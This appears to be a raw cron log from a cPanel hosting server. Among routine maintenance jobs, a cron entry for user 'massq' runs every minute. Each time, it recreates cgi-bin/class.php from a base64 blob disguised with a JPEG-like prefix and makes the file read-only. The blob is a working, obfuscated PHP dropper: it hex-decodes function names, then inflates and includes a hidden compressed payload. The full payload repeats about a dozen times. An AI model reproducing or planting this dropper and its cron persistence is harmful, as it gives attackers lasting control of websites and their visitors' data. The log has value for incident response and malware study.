Sep 10 10:34:01 server CROND[12729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:35:01 server CROND[13115]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:35:01 server CROND[13119]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:35:01 server CROND[13126]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 10:35:01 server CROND[13127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:35:01 server CROND[13128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:35:01 server CROND[13131]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 10:35:01 server CROND[13133]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:35:01 server CROND[13130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:35:01 server CROND[13132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:36:01 server CROND[13965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:36:01 server CROND[13966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:36:01 server CROND[13969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:37:02 server CROND[14336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:37:02 server CROND[14337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:37:02 server CROND[14339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:38:01 server CROND[14722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:38:01 server CROND[14723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:38:01 server CROND[14724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:39:01 server CROND[15102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:39:01 server CROND[15101]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 10:39:01 server CROND[15100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:39:01 server CROND[15103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:40:01 server CROND[15751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:40:01 server CROND[15753]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:40:01 server CROND[15757]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:40:01 server CROND[15760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:40:01 server CROND[15763]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:40:01 server CROND[15764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:40:01 server CROND[15765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:40:01 server CROND[15762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:41:01 server CROND[16593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:41:01 server CROND[16594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:41:01 server CROND[16595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:42:01 server CROND[16974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:42:01 server CROND[16975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:42:01 server CROND[16979]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 10:42:01 server CROND[16981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:43:01 server CROND[17351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:43:01 server CROND[17352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:43:01 server CROND[17353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:44:01 server CROND[17718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:44:01 server CROND[17719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:44:01 server CROND[17720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:45:01 server CROND[18196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:45:01 server CROND[18198]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:45:01 server CROND[18201]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:45:01 server CROND[18208]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:45:01 server CROND[18209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:45:01 server CROND[18210]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
